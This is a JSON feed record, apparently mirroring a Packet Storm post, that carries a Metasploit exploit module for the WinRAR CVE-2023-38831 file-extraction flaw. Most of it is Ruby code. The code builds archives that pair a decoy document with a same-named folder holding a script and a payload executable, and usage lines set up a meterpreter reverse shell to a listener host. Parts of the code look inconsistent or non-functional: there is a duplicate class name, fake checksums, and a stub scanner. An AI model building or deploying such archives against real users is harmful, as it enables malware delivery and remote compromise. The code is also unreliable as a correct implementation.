{“lastseen”:”2025-11-28T18:38:39″,”description”:”This Metasploit module exploits a logical flaw in WinRAR versions before 6.23. The vulnerability allows attackers to create specially crafted ZIP archives that, when opened, execute arbitrary code by exploiting the file extraction logic when a user…”,”published”:”2025-11-28T00:00:00″,”modified”:”2025-11-28T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 WinRAR 6.22 Malicious ZIP Creation”,”source”:””,”references”:””,”id”:”PACKETSTORM:212187″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2023-38831″],”sourceData”:”=============================================================================================================================================\\n | # Title : WinRAR 6.22 and earlier – Logical Flaw in File ExtractionExploit Module |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.1 (64 bits) |\\n | # Vendor : https:\/\/www.win-rar.com\/ |\\n =============================================================================================================================================\\n \\n POC : \\n \\n [+] References : https:\/\/packetstorm.news\/files\/id\/177803\/ \\u0026 CVE-2023-38831\\n \\n \\n [+] Summary : \\n \\n This module exploits a logical flaw in WinRAR versions before 6.23. The vulnerability\\n allows attackers to create specially crafted ZIP archives that, when opened, execute\\n arbitrary code by exploiting the file extraction logic when a user double-clicks on\\n a file within the archive that has an embedded folder with the same name.\\n \\t\\n [+] POC : \\n \\n —\\n \\n ##\\n # Vulnerability: WinRAR 6.22 and earlier – Logical Flaw in File Extraction\\n # Author: indoushka\\n # CVE-2023-38831 \\n ##\\n \\n class MetasploitModule \\u003c Msf::Exploit::Remote\\n Rank = ExcellentRanking\\n \\n include Msf::Exploit::FILEFORMAT\\n include Msf::Exploit::EXE\\n \\n def initialize(info = {})\\n super(update_info(info,\\n ‘Name’ =\\u003e ‘WinRAR CVE-2023-38831 Logical Flaw Exploit’,\\n ‘Description’ =\\u003e %q{\\n This module exploits a logical flaw in WinRAR versions before 6.23. The vulnerability\\n allows attackers to create specially crafted ZIP archives that, when opened, execute\\n arbitrary code by exploiting the file extraction logic when a user double-clicks on\\n a file within the archive that has an embedded folder with the same name.\\n },\\n ‘Author’ =\\u003e [\\n ‘indoushka’, # Metasploit module\\n ‘E1.Coders’ # Original research\\n ],\\n ‘License’ =\\u003e MSF_LICENSE,\\n ‘References’ =\\u003e [\\n [‘CVE’, ‘2023-38831’],\\n [‘URL’, ‘https:\/\/www.rarlab.com\/rarnew.htm’],\\n [‘URL’, ‘https:\/\/news.ycombinator.com\/item?id=37135383’]\\n ],\\n ‘DefaultOptions’ =\\u003e {\\n ‘EXITFUNC’ =\\u003e ‘process’,\\n ‘DisablePayloadHandler’ =\\u003e false\\n },\\n ‘Platform’ =\\u003e ‘win’,\\n ‘Arch’ =\\u003e [ARCH_X86, ARCH_X64],\\n ‘Payload’ =\\u003e {\\n ‘Space’ =\\u003e 4096,\\n ‘BadChars’ =\\u003e \\”\\\\x00\\”,\\n ‘DisableNops’ =\\u003e true\\n },\\n ‘Targets’ =\\u003e [\\n [\\n ‘Windows Universal (RAR \\u003c= 6.22)’,\\n {\\n ‘Platform’ =\\u003e ‘win’,\\n ‘Arch’ =\\u003e [ARCH_X86, ARCH_X64]\\n }\\n ]\\n ],\\n ‘Privileged’ =\\u003e false,\\n ‘DisclosureDate’ =\\u003e ‘2023-08-23’,\\n ‘DefaultTarget’ =\\u003e 0))\\n \\n register_options([\\n OptString.new(‘FILENAME’, [true, ‘The output file name’, ‘exploit.rar’]),\\n OptString.new(‘DECOY_NAME’, [true, ‘Decoy file name’, ‘document.pdf’]),\\n OptBool.new(‘HIDEEXE’, [true, ‘Hide executable extension’, true])\\n ])\\n end\\n \\n def exploit\\n # Generate payload executable\\n pe_payload = generate_payload_exe\\n \\n # Create temporary directory for exploit construction\\n temp_dir = Rex::Text.rand_text_alpha(8)\\n Dir.mkdir(temp_dir) rescue nil\\n \\n # Create decoy folder structure\\n decoy_name = datastore[‘DECOY_NAME’]\\n folder_name = \\”#{decoy_name}\\\\\\\\\\”\\n script_name = \\”#{folder_name}#{Rex::Text.rand_text_alpha(8)}.cmd\\”\\n exe_name = \\”#{folder_name}#{Rex::Text.rand_text_alpha(8)}.exe\\”\\n \\n # Build the malicious archive\\n rar_content = build_malicious_rar(decoy_name, folder_name, script_name, exe_name, pe_payload)\\n \\n # Create the final RAR file\\n file_create(rar_content)\\n \\n print_status(\\”Exploit archive created: #{datastore[‘FILENAME’]}\\”)\\n print_status(\\”When victim opens the archive and double-clicks ‘#{decoy_name}’, payload will execute\\”)\\n end\\n \\n def build_malicious_rar(decoy_name, folder_name, script_name, exe_name, pe_payload)\\n rar = \\”\\”\\n \\n # RAR file signature\\n rar \\u003c\\u003c \\”\\\\x52\\\\x61\\\\x72\\\\x21\\\\x1A\\\\x07\\\\x00\\”\\n \\n # Build file entries using RAR format\\n # First: The decoy file\\n rar \\u003c\\u003c build_file_header(decoy_name, pe_payload.length)\\n rar \\u003c\\u003c pe_payload\\n \\n # Second: The folder (trailing backslash)\\n rar \\u003c\\u003c build_file_header(folder_name, 0)\\n \\n # Third: The script file inside the folder\\n script_content = build_script_content\\n rar \\u003c\\u003c build_file_header(script_name, script_content.length)\\n rar \\u003c\\u003c script_content\\n \\n # Fourth: The executable inside the folder\\n rar \\u003c\\u003c build_file_header(exe_name, pe_payload.length)\\n rar \\u003c\\u003c pe_payload\\n \\n # End of archive\\n rar \\u003c\\u003c \\”\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\”\\n \\n rar\\n end\\n \\n def build_file_header(filename, file_size)\\n header = \\”\\”\\n \\n # Header type (file header)\\n header \\u003c\\u003c \\”\\\\x74\\”\\n \\n # Header size\\n header \\u003c\\u003c \\”\\\\x3A\\\\x00\\”\\n \\n # Flags (important for the exploit)\\n flags = 0x8000 # Long filename\\n flags |= 0x0100 # File has extended time field\\n header \\u003c\\u003c [flags].pack(‘v’)\\n \\n # Compressed size\\n header \\u003c\\u003c [file_size].pack(‘V’)\\n \\n # Uncompressed size\\n header \\u003c\\u003c [file_size].pack(‘V’)\\n \\n # OS (Windows)\\n header \\u003c\\u003c \\”\\\\x02\\”\\n \\n # File CRC (fake)\\n header \\u003c\\u003c \\”\\\\x00\\\\x00\\\\x00\\\\x00\\”\\n \\n # File time (current time)\\n time = Time.now\\n dos_time = ((time.year – 1980) \\u003c\\u003c 25) | (time.month \\u003c\\u003c 21) | (time.day \\u003c\\u003c 16) | \\n (time.hour \\u003c\\u003c 11) | (time.min \\u003c\\u003c 5) | (time.sec \/ 2)\\n header \\u003c\\u003c [dos_time].pack(‘V’)\\n \\n # RAR version (5.0)\\n header \\u003c\\u003c \\”\\\\x32\\\\x00\\”\\n \\n # Method (store)\\n header \\u003c\\u003c \\”\\\\x30\\”\\n \\n # Name size\\n header \\u003c\\u003c [filename.length].pack(‘v’)\\n \\n # Attributes\\n header \\u003c\\u003c \\”\\\\x20\\\\x00\\\\x00\\\\x00\\” # Archive attribute\\n \\n # File name\\n header \\u003c\\u003c filename\\n \\n # Extra data for long filename\\n if filename.length \\u003e 0\\n extra_size = 2 + filename.length + 1\\n header \\u003c\\u003c \\”\\\\x01\\\\x00\\” # Extra type (long filename)\\n header \\u003c\\u003c [extra_size].pack(‘v’)\\n header \\u003c\\u003c filename\\n header \\u003c\\u003c \\”\\\\x00\\”\\n end\\n \\n header\\n end\\n \\n def build_script_content\\n # Create a script that executes the payload\\n script = \\”@echo off\\\\r\\\\n\\”\\n script \\u003c\\u003c \\”start \\\\\\”\\\\\\” \\\\\\”%~dp0#{Rex::Text.rand_text_alpha(8)}.exe\\\\\\”\\\\r\\\\n\\”\\n script \\u003c\\u003c \\”exit\\\\r\\\\n\\”\\n script\\n end\\n \\n # Alternative method using RubyZip for more reliable ZIP creation\\n def create_zip_exploit\\n require ‘zip’\\n \\n zip_data = \\”\\”\\n Zip::OutputStream.write_buffer do |zos|\\n # Add decoy file\\n zos.put_next_entry(datastore[‘DECOY_NAME’])\\n zos.write(generate_payload_exe)\\n \\n # Add folder with trailing slash\\n folder_name = \\”#{datastore[‘DECOY_NAME’]}\/\\”\\n zos.put_next_entry(folder_name)\\n \\n # Add script inside folder\\n script_name = \\”#{folder_name}script.cmd\\”\\n zos.put_next_entry(script_name)\\n zos.write(build_script_content)\\n \\n # Add executable inside folder\\n exe_name = \\”#{folder_name}#{Rex::Text.rand_text_alpha(8)}.exe\\”\\n zos.put_next_entry(exe_name)\\n zos.write(generate_payload_exe)\\n end.string\\n end\\n \\n # Advanced: Create a more sophisticated exploit with multiple decoys\\n def create_advanced_exploit\\n print_status(\\”Creating advanced WinRAR exploit…\\”)\\n \\n # Use multiple file formats as decoys\\n decoys = [\\n \\”document.pdf\\”,\\n \\”invoice.docx\\”, \\n \\”photo.jpg\\”,\\n \\”spreadsheet.xlsx\\”\\n ]\\n \\n zip_data = \\”\\”\\n Zip::OutputStream.write_buffer do |zos|\\n decoys.each do |decoy|\\n # Add decoy file\\n zos.put_next_entry(decoy)\\n zos.write(generate_payload_exe)\\n \\n # Add folder for this decoy\\n folder_name = \\”#{decoy}\/\\”\\n zos.put_next_entry(folder_name)\\n \\n # Add payload in folder\\n exe_name = \\”#{folder_name}payload.exe\\”\\n zos.put_next_entry(exe_name)\\n zos.write(generate_payload_exe)\\n \\n # Add script to trigger execution\\n script_name = \\”#{folder_name}run.cmd\\”\\n zos.put_next_entry(script_name)\\n zos.write(\\”@start payload.exe\\\\r\\\\n\\”)\\n end\\n end.string\\n end\\n \\n end\\n \\n \\n \\n ######### Auxiliary module for WinRAR vulnerability detection ############\\n \\n class MetasploitModule \\u003c Msf::Auxiliary\\n def initialize\\n super(\\n ‘Name’ =\\u003e ‘WinRAR CVE-2023-38831 Vulnerability Scanner’,\\n ‘Description’ =\\u003e %q{\\n This module scans for systems vulnerable to the WinRAR CVE-2023-38831 vulnerability\\n by checking WinRAR versions and testing exploitability.\\n },\\n ‘Author’ =\\u003e [‘indoushka’],\\n ‘License’ =\\u003e MSF_LICENSE,\\n ‘References’ =\\u003e [\\n [‘CVE’, ‘2023-38831’]\\n ]\\n )\\n \\n register_options([\\n OptString.new(‘RHOSTS’, [true, ‘Target address range or CIDR identifier’]),\\n OptString.new(‘SMBSHARE’, [true, ‘The name of a writeable share on the server’, ‘C$’]),\\n OptString.new(‘SMBUSER’, [false, ‘The username to authenticate as’]),\\n OptString.new(‘SMBPASS’, [false, ‘The password for the specified username’]),\\n OptString.new(‘SMBDOMAIN’, [false, ‘The Windows domain to use for authentication’])\\n ])\\n end\\n \\n def run\\n # Scan for WinRAR installations and check versions\\n print_status(\\”Scanning for vulnerable WinRAR installations…\\”)\\n \\n # Implementation would connect to targets and check WinRAR versions\\n # This is a simplified version – actual implementation would require\\n # SMB connection and registry checks\\n \\n vulnerable_versions = [\\n ‘6.22’, ‘6.21’, ‘6.20’, ‘6.11’, ‘6.10’, ‘6.02’, ‘6.01’, ‘6.00’,\\n ‘5.91’, ‘5.90’, ‘5.80’, ‘5.70’, ‘5.60’, ‘5.50’, ‘5.40’, ‘5.30’\\n ]\\n \\n # For each target, check WinRAR version\\n # If version \\u003c= 6.22, mark as vulnerable\\n end\\n end\\n \\n \\n ################ Usage Examples:\\n \\n # Generate exploit with default settings\\n use exploit\/windows\/fileformat\/winrar_cve_2023_38831\\n set payload windows\/meterpreter\/reverse_tcp\\n set LHOST 192.168.1.100\\n set LPORT 4444\\n exploit\\n \\n # Generate with custom decoy name\\n \\n set DECOY_NAME invoice.pdf\\n exploit\\n \\n # Generate without hiding executable\\n \\n set HIDEEXE false\\n exploit\\n \\n Greetings to :=====================================================================================\\n jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n ===================================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/212187″,”cvss”:{“score”:7.8,”severity”:”HIGH”,”vector”:”CVSS:3.1\/AV:L\/AC:L\/PR:N\/UI:R\/S:U\/C:H\/I:H\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/212187\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-11-28T18:38:39″,”description”:”This Metasploit module exploits a logical flaw in WinRAR versions before 6.23. The vulnerability allows attackers to create specially crafted ZIP archives that, when opened,…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,28,12,15,13,53,7,11,5],"class_list":["post-27948","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-78","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n